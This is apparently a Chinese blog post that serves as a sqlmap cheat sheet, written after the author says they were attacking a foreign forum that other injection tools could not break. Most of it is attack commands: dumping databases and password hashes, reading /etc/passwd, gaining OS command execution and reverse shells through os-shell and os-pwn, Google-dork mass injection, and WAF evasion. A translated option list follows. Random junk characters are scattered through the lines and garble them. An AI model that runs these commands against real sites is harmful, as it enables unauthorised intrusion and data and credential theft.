今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、
, s% |7 R4 d7 Z1 u* Bsqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
& _. c: M( W7 V+ W5 C2 N& H) B1 \9 csqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
1 g/ \/ n. Y! |. S4 _" Dsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
4 ^9 d7 v4 N$ `) ~ , g/ J) @! s0 T! l
sqlmap -u “http://url/news?id=1″ –dump -C “column_name” -T “table_name”-D “db_name”-v
- p5 @! S, V4 O: X& ?; G% y0 #获取字段内容1 e w4 H+ ~1 a! S( u
1 E# ?: v; j9 A5 i5 r3 C1 ?******************信息获取******************) t6 c+ g. p# M
sqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型" y; v' P0 V0 T3 Z, o- p3 y6 l
sqlmap -u “http://url/news?id=1″ –users #列数据库用户: q& A9 J5 r( x) R, Y
sqlmap -u “http://url/news?id=1″ –dbs#列数据库: |$ U b p% m# }& V ^9 A
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
! D# }& h% B; F g. D# D5 e% o, ^sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码
+ n: I0 @ C4 u0 n3 Ysqlmap -u “http://url/news?id=1″ –dump -C “password,user,id” -T “tablename”-D “db_name”! v5 a6 P, ?3 f8 U$ u9 x
–start 1 –stop 20 #列出指定字段,列出20 条, R# }# P1 d+ L& v
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
! _; H2 }7 o) Z0 T E5 A3 e5 o7 Q" E, Ysqlmap -u “http://url/news?id=1″ –privileges #查看权限
5 C$ P2 P, T/ w; f% q2 }0 ?sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
! l8 G& x1 R( n$ F# l, G, |# vsqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!), u$ u2 d6 ]* m& E& l
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表- s: i2 a$ k0 G, d; Q
sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
" ~# m! H8 S9 K2 q6 [; wsqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
( J8 |8 O* t, p* Lsqlmap -u “http://url/news?id=1″-b #获取banner信息
( y' t! T" E: Lsqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
4 @! Z& T& y! zsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型1 ~8 |) E! a' U% i; o5 }
sqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入& c9 v% f0 E& h( b
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
$ c0 P' T( W' C$ A( a3 usqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
0 H! z1 Q+ y& I" Qsqlmap -u “http://url/news?id=1″ –file /etc/passwd
6 Y2 t1 M) ^3 I8 [8 q2 s H Jsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令
- R/ P e3 J1 d. f5 q3 m( Osqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
. u5 M+ G2 v0 K! ssqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
2 k3 K0 Y; W" {, x3 esqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度5 G0 p* h' ?8 X4 X0 ~+ H9 z
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度0 K, w0 H4 x2 L+ X" d0 K1 ?
***********高级用法*************
6 |. S6 r5 H" r9 } E' ?-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入7 X% G/ m x ^- h, \* v
sqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段 需保证google.com能正常访问
3 z5 P% n! ?4 q1 a2 a–technique 测试指定注入类型\使用的技术* x2 x% K: m/ |- X
不加参数默认测试所有注入技术
5 t& f6 T6 l H• B: 基于布尔的SQL 盲注
& |9 P0 a4 A! t+ |0 ]• E: 基于显错sql 注入/ u2 n. z; w/ l) ?' L
• U: 基于UNION 注入
8 n4 j# E7 Q4 L- a* `" h• S: 叠层sql 注入
% s! [4 l" e/ A3 B; t- d• T: 基于时间盲注
- L2 Y; ~5 s: i$ F7 K–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char(), ?+ [- j# m7 z! r
–tamper 插件所在目录8 _) w' V: j( T2 B3 q; Y
\sqlmap-dev\tamper
' k# O: W, a0 r F& psqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
7 f: b5 Q* k4 qlevel 执行测试等级 攻击实例:
: C+ C, j& _9 g* D/ O. o! f1 q2 g# jSqlmap -u “http://url/news?id=1&Submit=Submit”. c/ o& T0 y5 Z, x
–cookie=”PHPSESSID=41aa833e6d0d* A' i& S/ x0 i U/ \ F
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
5 x8 ]! o4 G. R, B–password
" r" g7 s# {. A4 q, J$ |" M' |参考文档:http://sqlmap.sourceforge.net/doc/README.html+ F$ H: S0 {5 }" ]; q9 l5 y9 \9 u
***********安装最新版本*************; x7 V5 B, O1 N$ r" W
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
7 E) n; |2 ~. t7 ^sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
* X% X2 i; D! V# c4 W w安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
* f$ g* N; F" M7 p0 qsudo vim /home/当前用户/.bashrc5 B; p2 g3 ?+ E( w% G
#任意位置加上:; R2 ]: y/ T5 O7 b
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
: z4 K) N4 ]# R如果想对所有用户有效 可设置全局 编辑下面的文件6 S4 Y7 N( I* l4 E0 g% x
vim /etc/profile
8 e' U; i7 {. U% J- V; S. a% o同样加上:
8 Q! @, l3 m# }* valias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效
& K# N5 p+ w2 \" H******************windows 7 (x64) sqlmap install (SVN)************
3 ~$ z8 \- U" G8 whttp://www.python.org/getit/ 安装python; M# ` D# U; m% ?+ a9 P
http://www.sliksvn.com/en/download 安装windows svn client/ ?! G: }- m: B# D. y
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev1 \9 `' m7 Y7 @$ F2 ]9 N
安装sqlmap" C0 H) @0 p7 i& _5 {
*修改环境变量
. m- o" u% [. r9 H–version 显示程序的版本号并退出
. D' w/ f/ K- l" f-h, –help 显示此帮助消息并退出
! W$ Q7 U5 ^$ p! L7 ^-v VERBOSE 详细级别:0-6(默认为1)) }$ c j, S& W# f2 H- Q( z
Target(目标): 以下至少需要设置其中一个选项,设置目标URL。
$ B; C% A2 C" e! z-d DIRECT 直接连接到数据库。& h) k: _& t0 V8 W: W4 H
-u URL, –url=URL 目标URL。3 y# E( I1 r) z. p2 E: H* B, n
-l LIST 从Burp 或WebScarab 代理的日志中解析目标。& D% G2 j" ^+ N8 J! l) q2 S$ D
-r REQUESTFILE 从一个文件中载入HTTP 请求。4 Q$ n# V& z& _( n6 Z3 d* o
-g GOOGLEDORK 处理Google dork 的结果作为目标URL。
9 g$ d0 p+ m' e4 o-c CONFIGFILE 从INI 配置文件中加载选项。
$ u* X& h! R/ S0 M+ kRequest(请求)::) r& Z2 }& f+ [- ?+ q: ]# T
这些选项可以用来指定如何连接到目标URL。# u% C; }* _7 T D
–data=DATA 通过POST 发送的数据字符串1 Q3 k- V/ O3 x* h. @3 X" e/ _1 P2 s
–cookie=COOKIE HTTP Cookie 头$ B1 z& _6 j! B$ `
–cookie-urlencode URL 编码生成的cookie 注入6 u3 ?( T1 E+ x$ k
–drop-set-cookie 忽略响应的Set –Cookie 头信息 L! f4 K( l' T2 t& k+ K" c
( h- x$ G# h4 B( W- w
–user-agent=AGENT 指定 HTTP User –Agent 头
' O L( F$ D, Y* ]–random-agent 使用随机选定的HTTP User –Agent 头' D' ]: l# P( G. T8 z5 z: d
–referer=REFERER 指定 HTTP Referer 头
* D, j3 p" T/ b. C4 D–headers=HEADERS 换行分开,加入其他的HTTP 头
3 j" s; p! n0 r( d–auth-type=ATYPE HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)* R/ ^! K' E/ v
–auth-cred=ACRED HTTP 身份验证凭据(用户名:密码)
; B9 n( P4 j9 u8 a–auth-cert=ACERT HTTP 认证证书(key_file,cert_file)
# ]0 t7 ~' u$ s3 F& f: m–proxy=PROXY 使用HTTP 代理连接到目标URL
3 P! p2 ?+ M2 G2 M& |; T7 A- K C–proxy-cred=PCRED HTTP 代理身份验证凭据(用户名:密码)5 n0 ^" F7 v7 D' F9 \
–ignore-proxy 忽略系统默认的HTTP 代理% [8 P$ i8 \4 O2 O
–delay=DELAY 在每个HTTP 请求之间的延迟时间,单位为秒 A: X7 r: _% Q- w. A) C
–timeout=TIMEOUT 等待连接超时的时间(默认为30 秒)
+ t2 |. c- C6 A. i( b+ Q2 f–retries=RETRIES 连接超时后重新连接的时间(默认3)
! a) |! x; j4 `) }/ {5 d4 ?–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
1 o: N- Q9 L% G+ N–safe-url=SAFURL 在测试过程中经常访问的url 地址- T! z" Z! L, o4 x! M ~5 t3 n
–safe-freq=SAFREQ 两次访问之间测试请求,给出安全的URL8 f" c7 q( @- ]$ D- F! G3 K! E
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
+ V& Z [, f+ [& R4 W+ }. e# a-o 开启所有优化开关
7 R% ^! i, A! X( f–predict-output 预测常见的查询输出
5 B( }+ I$ _- D–keep-alive 使用持久的HTTP(S)连接
/ O. E4 Z, d, O) A- x2 H–null-connection 从没有实际的HTTP 响应体中检索页面长度
* ^" z0 M9 G1 a–threads=THREADS 最大的HTTP(S)请求并发量(默认为1)
5 l! ~0 f0 n. s/ F( J9 A4 XInjection(注入):- H' R: _9 Y9 E$ l) Q% s) q
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads 和可选篡改脚本。/ c5 z4 U; ^1 ~! [& i# b
-p TESTPARAMETER 可测试的参数(S)- }" d0 x8 ~3 C! V9 q! l0 m
–dbms=DBMS 强制后端的DBMS 为此值6 s0 a# T# }# ^% f. f$ P
–os=OS 强制后端的DBMS 操作系统为这个值# P& k3 U% L, y; e# C
–prefix=PREFIX 注入payload 字符串前缀
3 d. l7 W# m: g. o/ u7 F# D: T: c–suffix=SUFFIX 注入 payload 字符串后缀4 t* ?6 b* m# [% y; {' b J- a' o
–tamper=TAMPER 使用给定的脚本(S)篡改注入数据
; e T0 d0 i0 w p* U/ Y% NDetection(检测): b5 x z$ `+ D/ I; _$ p" v
这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
; _* \8 ~* u8 P6 B( {–level=LEVEL 执行测试的等级(1-5,默认为1)# @6 B* Y+ X+ }, h i9 |/ v6 A- K! P
–risk=RISK 执行测试的风险(0-3,默认为1)8 m- _; I5 c/ _5 @4 e, J3 c! Q
–string=STRING 查询时有效时在页面匹配字符串
, q! J* U* `6 H. I, \' g2 m–regexp=REGEXP 查询时有效时在页面匹配正则表达式
. k# D/ X3 K' m; J1 z' Z) E–text-only 仅基于在文本内容比较网页# e/ Y4 V' O2 l6 R& N. w
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
2 i( A/ \" W) x–technique=TECH SQL 注入技术测试(默认BEUST)
6 \2 d" G: q- X* I–time-sec=TIMESEC DBMS 响应的延迟时间(默认为5 秒)5 d" K# R [0 {$ y; d7 L
–union-cols=UCOLS 定列范围用于测试UNION 查询注入
7 U2 ~' M p: A/ @% }–union-char=UCHAR 用于暴力猜解列数的字符; i, y j1 j) m
Fingerprint(指纹):* e& X5 b, G2 E" G0 p6 f
-f, –fingerprint 执行检查广泛的DBMS 版本指纹8 E# R4 W% f. m/ {9 @" c/ t# X# O
Enumeration(枚举):$ @8 Q: P' {& F( l6 s) u
% v q4 ^4 m4 ~' ^这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。
; ^. p8 s7 X6 a3 s-b, –banner 检索数据库管理系统的标识
& k1 n7 _( |( O8 F" O2 K5 G–current-user 检索数据库管理系统当前用户6 X( G. j. @1 t
–current-db 检索数据库管理系统当前数据库5 p1 `; x) K9 r1 f7 D7 N
–is-dba 检测DBMS 当前用户是否DBA
* @# z' X* O3 g) c" m–users 枚举数据库管理系统用户4 K0 Q& ~5 P. A. F# K
–passwords 枚举数据库管理系统用户密码哈希
$ o; F& f3 ^4 ` Y–privileges 枚举数据库管理系统用户的权限
, n% G/ l+ m9 h0 r$ a–roles 枚举数据库管理系统用户的角色
, J' ]& W6 V- P. O0 G, C–dbs 枚举数据库管理系统数据库, ]! n/ q" P/ z2 Z4 P p$ P' f
–tables 枚举的DBMS 数据库中的表1 q4 C7 ?3 u8 t0 q5 M! C3 h
–columns 枚举DBMS 数据库表列( G; v: U, V, K% d$ y
–dump 转储数据库管理系统的数据库中的表项5 j: P1 C& L$ W. y) r9 g
–dump-all 转储所有的DBMS 数据库表中的条目# O* } n1 C# v8 H1 U! Q9 ~
–search 搜索列(S),表(S)和/或数据库名称(S)6 `% j5 t! E+ d" }
-D DB 要进行枚举的数据库名6 [3 C* A0 X# q
-T TBL 要进行枚举的数据库表 I9 |: E* G6 F3 v S; B. ^: g
-C COL 要进行枚举的数据库列
- ^" C$ o/ D. }7 ~* G4 O-U USER 用来进行枚举的数据库用户. R5 _. ?+ d8 T! N# p# m/ Q+ B
–exclude-sysdbs 枚举表时排除系统数据库
c# {! ~+ o6 n. R–start=LIMITSTART 第一个查询输出进入检索# Q3 x& l1 F4 {- J- D3 Z; _
–stop=LIMITSTOP 最后查询的输出进入检索
; `( O3 H, M: O% ? W–first=FIRSTCHAR 第一个查询输出字的字符检索
' U6 [: s0 F; F; g8 F& r–last=LASTCHAR 最后查询的输出字字符检索1 I) y" v. S# u, B3 X
–sql-query=QUERY 要执行的SQL 语句4 V# Y' }* D1 R5 H1 c2 {2 i: T
–sql-shell 提示交互式SQL 的shell
4 T. g% T* Z2 v8 `" e4 x+ n' rBrute force(蛮力): 这些选项可以被用来运行蛮力检查。
1 m, ?! ^7 ?- h% q" h6 y- `3 q& y–common-tables 检查存在共同表) r2 ?3 V0 d7 S7 O6 }1 T
–common-columns 检查存在共同列1 S4 F' y2 `: O2 ~! J6 p5 Z6 n6 c
User-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。; k/ X( X6 Z1 Y2 b8 s4 i
–udf-inject 注入用户自定义函数
5 a3 N- W# T, A0 x* V J$ f–shared-lib=SHLIB 共享库的本地路径5 w& t! A7 i# E7 ], V
File system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
- y y/ n; t0 [* w( |–file-read=RFILE 从后端的数据库管理系统文件系统读取文件& `% c; \# i1 a6 }6 W+ ?" x
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件
) h) m9 s/ m* j- A–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
* [. Y8 q6 O9 J tOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。! E* @% U4 |- [, p
–os-cmd=OSCMD 执行操作系统命令, ^, ^1 Z' ?- o. W6 Z
–os-shell 交互式的操作系统的shell) x X" G" I s+ G9 }) a, Z1 U- z
–os-pwn 获取一个OOB shell,meterpreter 或VNC3 Q: r( ~$ ?7 }" B6 z1 l3 O0 M+ _3 w' t
–os-smbrelay 一键获取一个OOB shell,meterpreter 或VNC- \4 ?6 P4 [% N
–os-bof 存储过程缓冲区溢出利用: \' N+ h& A4 F
–priv-esc 数据库进程用户权限提升
4 w: s. w" _* L$ D–msf-path=MSFPATH Metasploit Framework 本地的安装路径; W- P2 L4 G9 ~ `% P4 ~7 g. O s
–tmp-path=TMPPATH 远程临时文件目录的绝对路径
9 a' r4 ~) e: Y ]/ C/ g
3 r) D5 q2 f3 s: b, e, nWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。- e$ a3 ]/ y$ Z1 J q1 T
–reg-read 读一个Windows 注册表项值
9 L; \4 X7 }" S! {5 P–reg-add 写一个Windows 注册表项值数据
& Y: R- |# |0 K% ]–reg-del 删除Windows 注册表键值' f$ A4 _0 J; t0 o
–reg-key=REGKEY Windows 注册表键
9 j* d, T) [" d–reg-value=REGVAL Windows 注册表项值
! u! p t2 M5 F–reg-data=REGDATA Windows 注册表键值数据5 V y3 t- W0 |0 D( d# g" }
–reg-type=REGTYPE Windows 注册表项值类型
* h6 p3 N0 r }& I; b) H1 MGeneral(一般): 这些选项可以用来设置一些一般的工作参数。' G5 R: A6 V* E- C" P
-t TRAFFICFILE 记录所有HTTP 流量到一个文本文件中 u+ Z$ ?) b/ ]% r# R/ K6 d
-s SESSIONFILE 保存和恢复检索会话文件的所有数据
+ Q* n' z2 P& Z–flush-session 刷新当前目标的会话文件) x( E% Y6 _& p. m: c
–fresh-queries 忽略在会话文件中存储的查询结果0 i4 u4 [. p/ a& m
–eta 显示每个输出的预计到达时间
/ d1 d4 d6 \: @$ }' m1 g. R( n. K–update 更新SqlMap
8 X, G5 k6 ~, w3 S9 Z# j# n–save file 保存选项到INI 配置文件0 W4 F. W8 c+ T, w. x& |" ?
–batch 从不询问用户输入,使用所有默认配置。$ ], M/ l1 a( N7 U! v. J4 h
Miscellaneous(杂项):6 e! e8 E, h, \
–beep 发现SQL 注入时提醒
: ]1 U4 |& ?/ y: @& g1 N–check-payload IDS 对注入payloads 的检测测试* d3 x3 i7 t/ P4 ~. {0 n
–cleanup SqlMap 具体的UDF 和表清理DBMS$ H& \6 H( B" u3 J: r$ V5 F
–forms 对目标URL 的解析和测试形式7 e7 B% T3 Q! A: B! r9 n
–gpage=GOOGLEPAGE 从指定的页码使用谷歌dork 结果
' Y/ N* a, G8 t7 l–page-rank Google dork 结果显示网页排名(PR)9 {5 U" L; {6 S; ^
–parse-errors 从响应页面解析数据库管理系统的错误消息
$ U2 a2 G6 k# t/ d–replicate 复制转储的数据到一个sqlite3 数据库 G5 W9 U3 E% l6 a5 `% R: q
–tor 使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
% z( o4 V, ^& Q$ l" w( i* P–wizard 给初级用户的简单向导界面 |